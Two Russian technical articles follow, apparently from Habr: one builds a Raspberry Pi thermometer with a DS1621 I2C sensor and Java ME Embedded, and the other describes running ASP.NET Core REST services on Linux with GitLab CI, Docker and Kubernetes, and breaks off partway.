Как вы уже поняли, Oracle Java ME Embedded — продукт кросс-платформенный и поддерживает ряд устройств с ARM архитектурой. Текущая версия релиза Oracle Java ME 3.3 — 3.4. Платформа портирована на Cortex-M3/RTX (KEIL Evaluation Board), ARM11/Linux (Raspberry Pi Model B), ARM9/BREW MP (Qualcomm IoE development), X86/Windows (эмулятор). Выше перечислены референсные имплементации платформы, выпущенные Oracle. Возможно портирование платформы на другие устройства при возникновении таких потребностей у конечных пользователей.
Официально минимально возможная конфигурация Oracle Java ME Embedded требует всего 130 KB RAM, 350 KB ROM. Хотя, если вы придете на встречу Java User Group в Москве 30 января <http://jug.msk.ru>, вы будете удивлены, насколько маленькой может быть платформа, если над ней поработать напильником. Александр Мироненко [alexanderVmironenko](http://habrahabr.ru/users/alexandervmironenko/) расскажет, как он «запихнул» Java в 32кб! RAM. Полная, стандартная конфигурация требует больше памяти: 700кб RAM и 2000кb ROM, что по современным меркам все равно кажется смешным.
Всем хочется, чтобы вокруг все были умными. С умными людьми приятно общаться, а в умном доме комфортно жить. Наверное, поэтому большая часть проектов с Arduido и Raspberry Pi имеют ярко выраженную направленность на прокачку скилов нашего жилища. Типичная задача — мониторинг температуры.
Для мониторинга температуры мы сначала использовали датчики с интерфейсом SPI. Но впоследствии выяснилось, что датчики с I2C гораздо дешевле. Для изготовления термометра из Raspberry Pi и Oracle Java ME Embedded 3.3 нам потребуется цифровой термодатчик Dalas Semiconductor DS1621 в корпусе DIP8. Вот здесь можно купить его за 173 рубля <http://www.electronshik.ru/item/ds1621-232961>.
Подключаем его к GPIO выводам нашей платы
| | |
| --- | --- |
| DS1621 | Raspberry GPIO pins |
| pin1 | SDA (GPIO 2) |
| pin2 | SCL (GPIO 3) |
| pin4 | GND |
| pin8 | 3.3v |
Если почитать Datasheet на DS1621, можно узнать, что адрес датчика на шине конфигурируется с помощью пинов 5-6-7 в нашем примере мы установим их все в 1 замкнув на питание.
Считаем, что Raspbian у вас уже стоит и он обновлен.
Для того, чтобы у нас была возможность работать с интерфейсом I2C на Raspberry Pi. Необходимо загрузить соответствующий модуль.
Добавляем две строчки в /etc/modules
```
i2c-bcm2708
i2c-dev
```
Перегружаем плату.
Устанавливаем утилиты для работы с I2C
```
sudo apt-get install i2c-tools
```
Определяем адрес нашего устройства на шине I2C
```
sudo i2cdetect -y 1
```
Адрес нашего датчика 4f (запомним это число)
Скачиваем стабильную версию Oracle Java ME Embedded 3.3 for Raspberry Pi Model B. В версии 3.4 добавилась только поддержка платформы Qualcomm IoE. Предварительно принимаем лицензионное соглашение. <http://www.oracle.com/technetwork/java/embedded/downloads/javame/index.html?ssSourceSiteId=ocomen>
Копируем runtime на Raspberry и разворачиваем в удобное место.
Например в ~/JavaME/
И от root запускаем AMS (Application Management System)
```
sudo ~/JavaME/bin/usertest.sh
```
C Raspberry Pi закончили.
Устанавливаем Java ME SDK и плагин для NetBeans или Eclipse на ваш компьютер. <http://www.oracle.com/technetwork/java/javame/javamobile/download/sdk/default-303768.html>
Добавляем нашу Малинку в качестве устройства для развертывания мидлета.
В меню NetBeans выбираем Tools/Java ME/Device selector
В окошке Device selector нажимаем Ctrl-D и создаем новое устройство. Для этого просто прописываем адрес нашей платы жмем Далее и если все в порядке, выбираем уровень протоколирования.
Создаем проект Java ME/ Embedded application
IDE создаст для нас скелет Java ME приложения, которое наследуется от класса MIDlet и состоит из трех методов: startApp(), pauseApp() и destroyApp(boolean unconditional). Метод startApp() запустится при старте мидлета, в нем, для простоты, мы и напишем код нашего приложения.
Java ME Embedded предоставляет нам высокоуровневый API общения с переферией — DAAPI (Deveice Access API). Для работы с I2C нам нужно создать конфигурацию устройства, передать ее в фабрику PeripheralManager.open() и если все провода в порядке и Java запущена от root, мы получим экземпляр класса I2CDevice(), который даст нам возможность общаться с датчиком.
Ниже пример кода Java ME приложения, если что-то не понятно задавайте вопросы в комментариях, приходите в офис Oracle в Санкт-Петербурге или 30-го января на <http://jug.msk.ru>
Чтобы запустить этот код на устройстве, нажмите правую кнопку мыши на вашей вашем проекте в NetBeans, выберите Run with… и в открывшемся окне Quick Project Run выберите вашу Raspberry. Или в свойствах проекта выберите во вкладке Platform выберите в качестве Device ваше устройство, тогда NetBeans будет деплоить приложение на Rapberry Pi по умолчанию при старте проекта.
Теперь вы знаете температуру в комнате :)
Полезные ссылки:
[Java ME Embedded 3.3 for Raspberry Pi](http://www.oracle.com/technetwork/java/embedded/downloads/javame/index.html)
[Java ME SDK 3.4](http://www.oracle.com/technetwork/java/javame/javamobile/download/sdk/default-303768.html)
[Java ME Embedded 3.3 Getting Started Guide for the Reference Platform (Raspberry Pi)](http://docs.oracle.com/javame/config/cldc/rel/3.3/rasp/gs/pdf/getstart_raspi.pdf)
[Термодатчик DS1621 Datasheet](http://pdf1.alldatasheet.com/datasheet-pdf/view/58507/DALLAS/DS1621.html)
```
import com.oracle.deviceaccess.PeripheralManager;
import com.oracle.deviceaccess.i2cbus.I2CDevice;
import com.oracle.deviceaccess.i2cbus.I2CDeviceConfig;
import java.io.IOException;
import javax.microedition.midlet.*;
public class IMlet extends MIDlet {
private final int CFG_ADDRESS = 0x4f; //Адрес датчика
private final int FREQ = 100000; //Частота шины из Datasheet
private final int ADDRESS_SIZE = 7; //Размер адреса из Datasheet
private final int BUS_ID = 1; // Внутренний идентификатор шины в Java ME Embedded из Getting Started Guide
// Адреса регистров и значения конфигурационных параметров датчика DS1621 подробнее в Datasheet
private final int REG_READ_TEMP = 0xAA;
private final int RT_ADDR_SIZE = 0x01;
private final int READ_TEMP_SIZE = 0x02;
private final int READ_TEMP_VAL = 0x00;
private final int REG_ACC_CONF = 0xAC;
private final int ACC_CONF_VAL = 0x00;
private final int REG_START_CONV = 0xEE;
private final int REG_STOP_CONV = 0x22;
public void startApp() {
// Создаем конфиг
I2CDeviceConfig config = new I2CDeviceConfig(BUS_ID, CFG_ADDRESS, ADDRESS_SIZE, FREQ);
I2CDevice device = null;
try {
// Открываем устройство
device = (I2CDevice) PeripheralManager.open(config);
// Конфигурируем датчика на непрерывное измерение температуры
write(device, new byte[]{(byte) REG_ACC_CONF, (byte) ACC_CONF_VAL});
write(device, new byte[]{(byte) REG_START_CONV});
// Читаем температуру
byte temp[] = new byte[READ_TEMP_SIZE];
device.read(REG_READ_TEMP, RT_ADDR_SIZE, temp, 0, READ_TEMP_SIZE);
// Profit!
System.out.println("Temperature is:" + temp[0]);
} catch (Exception ex) { // Никогда так не делайте, только для Habrahabr
ex.printStackTrace();
} finally {
// Закрываем устройство
if(device != null) {
try {
device.close();
} catch (IOException ex) {
ex.printStackTrace();
}
// Скажем приложению, что ему нужно самоуничтожится
notifyDestroyed();
}
}
}
public void pauseApp() {
}
public void destroyApp(boolean unconditional) {
}
private void write(I2CDevice i2c, byte[] buffer) {
try {
i2c.begin();
i2c.write(buffer, 0, buffer.length);
i2c.end();
} catch (IOException ex) {
System.out.println("[I2CThermometerTest] configure exception: " + ex.getMessage());
} catch (Exception ex) {
System.out.println("[I2CThermometerTest] Peripherial not available exception: " + ex.getMessage());
}
}
}
``` | https://habr.com/ru/post/210592/ | null | ru | null |
# REST-сервисы на ASP.NET Core под Linux в продакшене
В основе этой статьи доклад **Дениса Иванова** ([@DenisIvanov](https://habrahabr.ru/users/DenisIvanov/)) на РИТ++ 2017, в котором он поделился опытом разработки и запуска в продакшен REST-сервиса на ASP.NET Core на Kubernetes. На текущий момент это сделать уже можно без особенных проблем и бояться использовать .NET Core, судя по опыту 2ГИС, не стоит.
Конфигурация: **ASP.NetCore на Linux** позволила не только использовать существующую on-premise платформу, но и принесла еще несколько дополнительных плюсов, в частности, в виде полноценных **Docker и Kubernetes**, которые сильно упрощают жизнь.
О сервисе
---------
С 1 апреля 2017 года в продуктах 2ГИС появилась иконка, на которую можно нажать и начнет проигрываться видео. Рекламодатели, которые размещаются в справочнике, теперь могут купить новый способ размещения рекламы, а все продукты нашей компании (мобильные, онлайн, API), ходят на сервис, про который я буду сегодня рассказывать.
Топология этого сервиса примерно представлена на картинке ниже. Сервис помечен облачком в центре, он, по сути дела, является бэкендом для продуктов. Когда продукт приходит и говорит: «Дай мне для этого рекламодателя всю информацию о видеорекламе», сервис ему послушно ее отдает. Это информация такого плана: такая-то обложка лежит на таком-то CDN, такой-то видеофайл в таких-то разрешениях лежит там-то и там-то, само видео длится такое количество времени и прочее.
***Осторожно:*** много информации и кода.
***О спикере:*** *Денис Иванов работает в компании 2ГИС и является MVP (Most Valuable Professional) в области Visual Studio and Development Technologies, его основной стек технологий — от Microsoft.*
Содержание
----------
* [Коротко о сервисе](#AboutService)
* [On-premise платформа](#OnPremisePlatform)
* [.NET Core, ASP.NET Core и базовые фичи](#NETCore)
* [Build](#Build)
* [Deploy](#Deploy)
* [Нагрузочное тестирование](#StressTesting)
* [Средства повышения производительности](#Performance), в том числе:
+ [кэширование](#Caching),
+ [асинхронность и многопоточность](#AsynchronyAndMultithreading)
Итак, продолжим… На основании этой информации наши конечные продукты принимают решение, какой видеофайл отобразить: если это онлайн, у пользователя большой экран и широкий канал связи, то проигрывается видео большего разрешения; если мобильное устройство — меньшего.
Для того, чтобы раздавать видеоролики и их транскодить, мы используем отдельный API. Про него сегодня говорить не будем, также, как и про все, что касается обработки медиа файлов, их размещения на CDN, их доступность. Пока что это делает наш партнер, но возможно потом мы начнем делать это сами.
У нашего сервиса есть еще другая составляющая (то, что помечено на схеме замочками), для которой тоже есть свой API и он закрыт для внешнего доступа. Это внутренние процессы в компании, которые нужны для того, чтобы пользователи — наши менеджеры по продажам — продавали эту рекламу: загружали видео, изображения, выбирали обложки, то есть полностью настраивали то, как это будет выглядеть в конечном продукте. Там есть тоже свой API для таких процессов. Он закрыт для внешнего доступа.
**Требования к сервису видеорекламы:**
* **99.99% доступность по миру**
Когда мы приступали к разработке сервиса первым требованием была высокая доступность, причем по всему миру. У нас есть пользователи в России, в странах СНГ и есть несколько международных проектов, даже в Чили.
* **Время ответа 200ms**
Время ответа должно быть настолько мало, насколько это возможно, в том числе, насколько это предоставляет API, которую мы используем. Мы выбрали цифру в 200 ms просто потому, что не хотим иметь никаких проблем — отвечать нужно очень быстро.
Почему Linux
------------
Наша команда разработки в 2ГИС, занимается как раз рекламными сервисами и делаем систему продаж внутри компании. Этот проект — наш первый опыт разработки сервисов именно для публичного доступа. Мы, как команда разработки, очень хорошо знаем .NET, поскольку занимаемся этим 10 лет (я в компании 7 лет) и давно делаем приложения на этом стеке.
Для этого проекта мы выбрали ASP.Net Core. Из-за требований высокодоступности, о которых я уже говорил, нам нужно размещать сервис именно там, где размещаются наши конечные продукты, то есть использовать ту же самую платформу. Кроме того, что мы смогли использовать **существующую on-premise платформу**, которая есть в 2ГИС, мы еще получили несколько дополнительных плюсов:
* **GitLab CI**
На мой взгляд, это неплохой решение, которое помогает запускать процессы continuous integration и continuous deployment и хранить всю инфраструктуру, как код. Там есть YAML файл, в котором можно описать все шаги сборки.
* **CI starting kit на основе make**
В компании существует CI starting kit. Он, кстати, опенсорсный. На основе make ребята внутри компании написали много разных скриптов, которые просто позволяют облегчить рутинные задачи.
* **Docker hub & docker images**
Мы в полном объеме можем использовать Docker, поскольку это Linux. Понятно, что Docker существует также и на Windows, но технология довольно новая, и пока примеров продакшен-применения мало.
* **Компоненты на любом технологическом стеке**
Кроме того, если использовать Linux, можно делать свои приложения, используя любой технологический стек, микросервисный подход и т.д. Мы можем одни компоненты делать на .Net, другие — на иных платформах. Это преимущество мы использовали для того, чтобы выполнить нагрузочное тестирование своего приложения.
* **Kubernetes**
Kubernetes можно тоже использовать просто потому, что Linux.
Поэтому образовалась такая конфигурация: **ASP.Net Core на Linux.** Мы начали изучать, что для этого есть от Microsoft и от сообщества. На начало прошлого года все с этим вопросом было уже хорошо: .Net был зарелижен в 1 версии, библиотеки, которые нам понадобились бы, тоже были. Поэтому мы стартанули.
The Twelve-Factor App
---------------------
Мы пришли к нашим ребятам, которые занимаются платформой для хостинга приложений, и спросили каким требованиям должно удовлетворять приложение, чтобы потом его было удобно эксплуатировать. Они сказали, что оно должно быть, как минимум, 12-факторным. Расскажу про это более подробно.
Есть свод из [12 правил](https://12factor.net/ru/). Считается, что если вы будете следовать им, то ваше приложение будет хорошее, изолированное, и его можно будет поднимать, используя все инструменты, которые касаются Docker и пр.
**The Twelve-Factor App:**
1. Одно приложение — один репозиторий;
2. Зависимости — вместе с приложением;
3. Конфигурация через окружение;
4. Используемые сервисы как ресурсы;
5. Фазы билда, создания образов и исполнения разделены;
6. Сервисы — отдельные stateless процессы;
7. Port binding;
8. Масштабирование через процессы;
9. Быстрая остановка и запуск процессов;
10. Среды максимально похожи;
11. Логирование в stdout;
12. Административные процессы.
Я хотел бы остановиться на некоторых из них.
**Зависимости — вместе с приложением.** Это значит, что приложение не должно требовать от среды, куда мы его развертываем, какой-либо преднастройки. Например, там не должно быть .Net определенной версии, как мы это любим на Windows. Мы должны таскать и приложение, и runtime, и те библиотеки, которые мы используем, вместе с самим приложением так, чтобы можно было просто его скопировать и запустить.
**Конфигурация через окружение.** Мы все используем Config-файлы для того, чтобы сконфигурировать приложение для его работы в runtime. Но хотелось бы, чтобы у нас были некие предустановленные значения в этих Config-файлах, и мы могли бы передавать через переменные окружения какие-то дополнительные параметры именно самого окружения так, чтобы заставить приложение работать в определённых режимах: это dev среда, либо staging среда, либо production.
Но код приложения и разные конфигурационные параметры не должны от этого меняться. В классическом .Net, который на Windows, есть такая штука, как трансформация конфигов (XDT-трансформация), которая здесь становится не нужна, и все сильно упрощается.
Еще одна важная особенность, которую привносит 12-факторность: мы должны уметь **быстро останавливать и запускать новые процессы.** Если мы используем приложение в какой-то среде, и вдруг с ним что-то случилось, мы не должны ждать. Лучше, чтобы среда сама погасила наше приложение и запустила его заново. В том числе, могут быть переконфигурации самой среды, на приложение это никак не должно влиять.
**Логирование в stdout** — еще одна важная вещь. Все логи, которые производит наше приложение, должны логироваться в консоль, а дальше уже та платформа, на которой работает приложение, разберется: взять эти логи, и положить их в файл, или в ELK в Elasticsearch или просто на консоль показать дополнительно.
.NET Core
---------
У Microsoft уже давно есть старый добрый .NET, который на Windows, у которого есть WPF, Windows Forms, ASP.Net, под ним есть Base Class Library, Runtime и прочее.
Но, с другой стороны, всегда существовал альтернативный подход — взять mono и запускать по факту код, написанный на C# на других платформах. Microsoft сделали еще один стек под названием .NET Core, где как раз реализовали возможность писать приложения, которые будут изначально кроссплатформенными.
Они сделали довольно много для того, чтобы создать общую инфраструктуру: компиляторы, языки и рантаймы — все кроссплатформенно.
На .NET Core есть блок UWP — это отдельный мир. Он позволяет запускать .NET-приложения под разными платформами, от IoT-девайсов до десктопа. Например, я видел людей, которые запускают .NET Core-приложения на Raspberry Pi.
Существовало несколько базовых библиотек: Base Class Library, Core Library и Mono Class Library. С этим жить было довольно тяжело. Тогда же появилась Portable Class Library и т.д. Поэтому Microsoft пошел в сторону того, чтобы унифицировать API, которые являются кроссплатформеными и работают на всех этих стеках, и сделали .Net Standard Library.
На текущий момент это .Net Standard версии 2.0, в которой практически все, что было в старом классическом .NET, работает кроссплатформенно.
Мы будем говорить про .NET Core и про его часть, которая касается ASP.Net Core.
.Net Core Self-contained deployment
-----------------------------------
Что же .Net Core дает нам с точки зрения 12-факторности? На самом деле 12-факторность реализуется здесь довольно хорошо.
**Есть полный контроль зависимостей**, т.е. мы имеем возможность собрать приложение и полностью контролировать его зависимости.
Мы можем сконфигурировать .NET-приложение таким образом, чтобы **платформа была явно указана** (win10-x64 / ubuntu.16.04-x64 / osx.10.12-x64) при билде, и в конечной папке артефактов получим все, что касается приложения, рантайма, библиотек, то есть все-все-все, собранное под определённую платформу. Для этого нам просто нужно ее выбрать — будь это Windows, Linux или OSX.
Как я уже говорил, нам нужно выбрать фреймворк (на текущий момент это **netstandard1.6)** и включить 2 библиотеки:
* **Microsoft.NETCore.Runtime.CoreCLR** для того, чтобы исполнять код приложения.
* **Microsoft.NETCore.DotNetHostPolicy** для того, чтобы запускать приложение на конечной системе.
### Как работает ASP.Net Core
Вся идеология ASP.Net Core построена на принципах Middleware. У нас есть какое-то количество слоев, когда запрос приходит в наше приложение, на его пути становится первый Middleware, который выполняет свою логику, и передает этот запрос следующему. Следующий выполняет, пробрасывает следующему, и так далее до тех пор, пока конвейер не закончился. Обратно мы отправляем Response пользователю.
Если говорить о прикладных аспектах этого всего, то:
1. На первом этапе можем вставить Exception handler для того, чтобы все исключения полностью отслеживались, логировались и прочее.
2. Вторым Middleware может быть модуль безопасности.
3. Третьим может быть MVC-фреймворк, который занимается роутингом и отдает либо данные (в случае REST сервисов), либо странички.
Это простейший пример Middleware, примерно такой мы и делали для того, чтобы хостить приложение в Kubernetes. Давайте подробно посмотрим на то, что здесь есть.
```
public sealed class HealthCheckMiddleware
{
private const string Path = "/healthcheck";
private readonly RequestDelegate _next;
public HealthCheckMiddleware(RequestDelegate next)
{
_next = next;
}
public async Task Invoke(HttpContext context)
{
if (!context.Request.Path.Equals(Path,
StringComparison.OrdinalIgnoreCase))
{
await _next(context);
}
else
{
context.Response.ContentType = "text/plain";
context.Response.StatusCode = 200;
context.Response.Headers.Add(HeaderNames.Connection, "close");
await context.Response.WriteAsync("OK");
}
}
}
```
Здесь в конструкторе есть **RequestDelegate next**. Это следующий Middleware, который вставляется в конструктор, и у нас появляется возможность отправить ему запрос. Конкретно этот Middleware занимается тем, что отвечает на все запросы, которые пришли по /healthcheck.
Если запрос пришел не на этот путь (path), тогда мы отдаем управление следующему Middleware, то есть пробрасываем его дальше. Если на этот, то мы говорим 200, все хорошо, предложение работает, и выводим в консоль ОК. Дальше запрос не продолжает выполняться. На этом все и заканчивается.
Это очень быстрая штука. В наших тестах весь этот код работает буквально за 2-3 мс.
### Базовые фичи REST-сервисов
Вот базовые фичи REST-сервисов, которые обычно нужны, когда мы делаем такие приложения:
* **Логирование** нужно всем и было бы замечательно, чтобы оно было структурным.
* **Версионирование API** (SemVer, DateTime) — хорошо бы, чтобы оно было прямо из коробки.
* Также замечательно иметь **формальное описание API** (Swagger).
#### Структурное логирование
Если его визуализировать, то оно выглядит примерно так.
Здесь есть консоль с разноцветными строчками. На самом деле, если посмотреть более детально, мы увидим, что у каждого сообщения, которое выводится в log, есть Data, уровень (error, warning, info) и так далее. Но, кроме того, есть некоторые параметры, которые как раз и подсвечены разными цветами.
Кроме текста логов, у нас еще могут быть какие-то пары ключ/значение, которые можно явным образом индексировать. Если мы хотим, допустим, логировать полностью все, что отдает наше приложение по определенному запросу, мы можем в лог добавить request id именно, как пара ключ/значение: request id равно столько-то. Потом есть возможность по этому request id наши логи где-то проиндексировать. В конечном итоге, просто отфильтровав все логи по этому request id, мы можем найти все сообщения, которые были сгенерированы этим запросом. Эту замечательную штуку нам дает структурное логирование.
Для того, чтобы выполнять логирование, в ASP.Net Core есть замечательные библиотеки Serilog, log4net и NLog. Мы остановились именно на [Serilog](https://serilog.net/), потому что там все есть из коробки, в том числе возможность выводить логи в любом формате, не только в любые консоли или в подсвеченную консоль, но и сразу, если вдруг вам понадобится, в Эластик или в файл.
```
appsettings.json
{
"Serilog": {
"MinimumLevel": "Debug",
"WriteTo": [
{
"Name": "Console",
"Args": {
"formatter":
"Serilog.Formatting.Compact.RenderedCompactJsonFormatter,
Serilog.Formatting.Compact"
}
}
],
"Enrich": [ "FromLogContext", "WithThreadId" ]
}
}
```
Таким образом она настраивается. У нас есть уровень логирования. Дальше мы говорим о том, что хотим выводить логи в консоль, и то, в каком виде эти логи должны выводиться в консоль. Если же у нас приложение работает на staging или в production-среде, хотелось бы, чтобы эти все логи выводились в Json формате, чтобы потом среда могла их забирать и каким-то образом индексировать. Опять же все это есть **из коробки** и есть возможность обогащать все эти логи какими-то дополнительными параметрами, например, выводить ThreadId, RequestId и прочее таким декларативным образом.
#### Версионирование API
Нам хотелось бы, чтобы API сервиса, который мы делаем, поддерживало версионирование из коробки. Когда мы работаем именно с публичными клиентами и не знаем, сколько их и какие они в принципе, версионирование очень полезная штука.
В нашем случае это как раз было важно, потому что у нас есть разные клиенты. Жизненный цикл работы конкретной версии мобильного приложения 2GIS может достигать полугода, а то и больше. То есть пользователи могут не обновлять приложение на устройстве больше, чем полгода.
Но, тем не менее, если эта конкретная версия приложения приходит на бэкенд, мы должны отдать данные именно по тому контракту, который предполагается для этого устройства и для этой версии приложения. Если потом с течением времени (это обычно бывает) мы взяли и поменяли что-то в API — добавили, или, еще хуже, удалили какие-то данные из ответа, или в принципе поменяли контракт взаимодействия, не хотелось бы, чтобы это сломало старое приложение.
Есть замечательная библиотека [**ASP.NET API versioning**](https://github.com/Microsoft/aspnet-api-versioning) от Microsoft. Она полностью опенсорсная, работает по тем [гайд-лайнам](https://github.com/Microsoft/api-guidelines), которые Microsoft публично сформулировал для своих сервисов, и дает возможность версионировать API в разных вариантах, в том числе, с помощью SemVer или по датам, как делает, например, Netflix.
Опять же есть разные варианты передачи информации о версии API: через query string, URL path, header — все поддерживается из коробки.
Допустим, у нас есть такой контроллер.
```
[ApiVersion("1.0")]
[Route("api/medias")] // /api/medias
[Route("api/{version:apiVersion}/medias")] // /api/1.0/medias
public sealed class MediasController : Controller
{
// /api/medias/id?api-version=1.0 or /api/1.0/medias/id
[HttpGet("{id}")]
public async Task Get(long id)
{
...
}
}
```
Все, что мы должны сделать, это вначале указать, что версия API, которую предоставляет контроллер — 1.0. Дальше мы должны написать наши запросы так, чтобы включить информацию о версии API.
В такой конфигурации есть два способа включить версию API в запрос — через URL path, либо через query string. Клиенты могут выбрать удобный для них способ, но все запросы будут приходить на один и тот же endpoint.
Если с течением времени у нас появляется вторая версия API, нам нужно сделать немногое — прийти в этот же самый контроллер и сказать, что у нас появилась вторая версия у этого же самого API.
```
[ApiVersion("1.0")]
[ApiVersion("2.0")]
[Route("api/medias")]
[Route("api/{version:apiVersion}/medias")]
public sealed class MediasController : GatewayController
{
// /api/medias/id?api-version=1.0 or /api/1.0/medias/id
[HttpGet("{id}")]
public async Task Get(long id)
{
...
}
// /api/medias/id?api-version=2.0 or /api/2.0/medias/id
[MapToApiVersion("2.0")]
[HttpGet("{id}")]
public async Task GetV2(long id)
{
...
}
}
```
На самом деле все, что нам нужно сделать, это оставить тот метод, который был, также ничего в нем не изменив. Он отдает данные для клиентов, которые знали об этой версии API на тот момент,
Мы можем добавить новый метод контроллера и сказать, чтобы все запросы, которые приходят на API 2.0, перенаправлялись сюда. Тем самым, мы не поломаем старых клиентов, и добавим функциональность для новых клиентов.
Это не обязательно делать в одном контроллере. Мы можем создать новый контроллер и сказать, что это контроллер для API версии 2.0 (строка `[MapToApiVersion("2.0")]`). В-общем, есть много разных вариантов, и все делается очень просто.
#### Swagger
Еще хочу рассказать о библиотеке [Swashbuckle.AspNetCore](https://github.com/domaindrivendev/Swashbuckle.AspNetCore), которая позволяет включить Swagger.
Про Swagger многие наслышаны, поэтому единственное, о чем хотелось бы сказать, что подключив Swashbuckle.AspNetCore для ASP.Net Core, мы получаем эту функциональность опять же из коробки, и она умеет дружить с версионированием API.
```
services.AddSwaggerGen(
x =>
{
IApiVersionDescriptionProvider provider;
foreach (var description in provider.ApiVersionDescriptions)
{
x.SwaggerDoc(description.GroupName, new Info { ... });
}
});
...
app.UseSwagger();
app.UseSwaggerUI(
c =>
{
IApiVersionDescriptionProvider provider;
foreach (var description in provider.ApiVersionDescriptions)
{
options.SwaggerEndpoint(
$"/swagger/{description.GroupName}/swagger.json",
description.GroupName.ToUpperInvariant());
}
});
```
То есть, сконфигурировав таким образом приложение, сказав, что у нас есть некий VersionDescriptionProvider, и просто пробежавшись foreach по ApiVersionDescriptions, мы можем добавить Swagger-документы, то есть те самые формальные описания наших API.
После этого мы можем добавить SwaggerUI, сказав, что у нас есть SwaggerEndpoint на таких- то json’ах, опять же в зависимости от версии API, которая у нас есть. Тем самым мы получим версионирование API, про которое знает Swagger, есть переключалка и возможность посмотреть, какие в той или иной версии API есть эти методы. Все круто и все это есть в демке, можете посмотреть.
Build
-----
Плавно переходим дальше. Мы написали приложение, в котором есть вся необходимая функциональность, написали туда даже бизнес-логику. Как нам это все сбилдить? Да так, чтобы потом задеплоить!
На самом деле все довольно просто. Я говорил, что мы используем GitLab CI. Рассмотрим на примере одного из фрагментов GitLab CI файла один шаг сборки.
```
build:backend-conf-demo:
image: $REGISTRY/microsoft/aspnetcore-build:1.1.2
stage: build:app
script:
- dotnet restore --runtime ubuntu.16.04-x64
- dotnet test Demo.Tests/Demo.Tests.csproj
--configuration Release
- dotnet publish Demo --configuration Release
--runtime ubuntu.16.04-x64 --output publish/backend-conf
tags: [ 2gis, docker ]
artifacts:
paths:
- publish/backend-conf/
```
У нас есть некий билд степ, на котором мы хотим собрать приложение. Для этого нам опять нужно не так много: базовый образ, который предоставляется Microsoft. В этом образе есть все, что нужно: все инструменты, командная строка .Net, сам .Net определенной версии, runtime и т.д. Этот образ довольно большой, поэтому, конечно, тянуть его в продакшн ни в коем случае нельзя. Его нужно использовать только для того, чтобы собрать приложение.
Это как раз про ту самую 12-факторность, когда в стадии сборки и эксплуатации приложения должны быть разделены.
Используем этот образ, говорим: «Собери нам, пожалуйста, все зависимости, которые есть в этом приложении именно для этой платформы, под которую мы хотим собрать!»
Дальше, конечно же, мы хотим выполнить юнит-тесты перед тем, как собрать приложение. Если юнит-тесты не прошли, то ничего собирать уже не нужно потому, что приложение не работает. Если же все хорошо, говорим `dotnet publish` и указываем как раз тот самый runtime, который нас интересует.
Говорим о том, куда нужно все это развернуть с точки зрения тех артефактов, которые получатся. В папке `publish/backend-conf` в этом примере будет лежать все, что касается приложений и его зависимостей.
После того, как мы собрали приложение, нам нужно собрать Docker-образ, причем собирать образ прямо на каждое изменение, т.к. у нас есть тот самый CI\_TAG на уровне Gitlub CI. На самом деле это уже шаг к Continuous deployment режиму.
```
build:backend-conf-demo-image:
stage: build:app
script:
- IMAGE=my-namespace/backend-conf TAG=$CI_TAG
DOCKER_FILE=publish/backend-conf/Dockerfile
DOCKER_BUILD_CONTEXT=publish/backend-conf
make docker-build
- IMAGE=my-namespace/backend-conf TAG=$CI_TAG
make docker-push
tags: [ docker-engine, io ]
dependencies:
- build:app
```
Далее конфигурируем другие параметры, берем артефакты, которые сгенерировали на прошлом шаге, и вызываем docker-build. После того, как docker-build прошел, мы получили образ локально и можем разместить его на docker-hub — локальный, глобальный — куда угодно.
Таким образом, у нас есть приложение, собранное под необходимую нам ОС и есть образ этого приложения на docker-hub.
Deploy
------
Все, что нам дальше нужно сделать, это развернуть его, и настало время поговорить про Kubernetes.
### Kubernetes
Это средство оркестрации контейнеров, которое позволяет особо не заморачиваться в вопросах того, как эти контейнеры запускать, поднимать, следить за их логами и т.д. В нашей компании развернуто целых четыре кластера Kubernetes, которые можно использовать.
В Kubernetes есть базовые понятия.
**Pod**
Это логическое объединение контейнеров. Там может быть один контейнер, может быть несколько, и предполагается, что все контейнеры, которые лежат в Pod’е, жестко связаны между собой и используют какие-то общие ресурсы.
Kubernetes из коробки проверяет наше приложение: liveness check, readiness check, log fetching и так далее. Все эти вопросы, которые касаются управления контейнером, Kubernetes решает за нас.
**Service**
Вторая штука, которую важно знать, когда мы работаем с Kubernetes — это service. Она позволяет получать внешний трафик на Kubernetes и говорить, куда этот трафик перенаправить уже внутри Kubernetes — на какие Pod’ы, в какие контейнеры.
Для этого ему нужно 2 вещи:
* **Selector**. Label, который был проставлен для Pod’а как раз нужен, чтобы узнать все Pod’ы, которые есть для этого приложения;
* **Ports Mapping** предоставляет возможность перенаправлять контейнеры на разные порты.
Общая картина на рисунке сверху: есть пользователи, которые приходят на кластер Kubernetes извне; мы получаем этот трафик, понимаем по доменному имени, кому он нужен; по селектору находим те Pod’ы; отправляем этот трафик на соответствующие порты в контейнерах.
**Deployment**
Позволяет развертывать Pod’ы автоматически на всем кластере Kubernetes. Вся картинка выглядит так.
Как разработчики мы должны написать Deployment’ы, сказать, сколько нам нужно реплик, по какому шаблону, и т.д. Далее выставить все label для того, чтобы связать их с сервисом. Дальше написать сервис, который как раз будет стоять на входе в Kubernetes.
По сути дела, все — путь пользователя определен.
Единственное, чего нет в самом Kubernetes, и что нам пришлось добавить самостоятельно для того, чтобы задеплоить приложение конкретной версией на Kubernetes, это написать конкретные Deployment-файлы с указанием конкретной версией нашего приложения и конкретной версией образа. Это нужно для того, чтобы встроить все это в continuous deployment pipeline. Думаю, что не только мы этим занимались, поскольку пока Kubernetes не предоставляет такую возможность.
```
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
name: {{ app_name }}
spec:
replicas: {{ replicas_count }}
template:
metadata:
labels:
app: {{ app_name }}
spec:
containers:
- name: backend-conf
image: {{ image_path }}:{{ image_version }}
ports:
- containerPort: {{ app_port }}
readinessProbe:
httpGet: { path: '{{ app_probe_path }}', port: {{ app_port }} }
initialDelaySeconds: 10
periodSeconds: 10
env:
- name: ASPNETCORE_ENVIRONMENT
value: {{ env }}
```
Пример Deployment выше, и в нем есть:
* Label, про который я говорил, и который мы можем указывать где-то сверху через шаблонизатор.
* Указание, где лежит образ нашего приложения и его версия.
* CI\_TAG.
* Указание, по какому порту нужно ходить к нашему приложению в этом контейнере.
* Проверку readiness для того, чтобы Kubernetes знал, работает ли наше приложение, все ли с ним хорошо или не очень.
* Переменные окружения.
Сервис выглядит таким образом.
```
apiVersion: v1
kind: Service
metadata:
name: {{ app_name }}
annotations:
router.deis.io/domains: "{{ app_name }}"
router.deis.io/ssl.enforce: "{{ ssl_enforce | default('False') }}"
spec:
ports:
- name: http
port: 80
targetPort: {{ app_port }}
selector:
app: {{ app_name }}
```
Мы говорим о том, что внешний порт у нас 8080, а внутренний мы передадим через шаблон. И, собственно, селектор.
Вот и весь сервис.
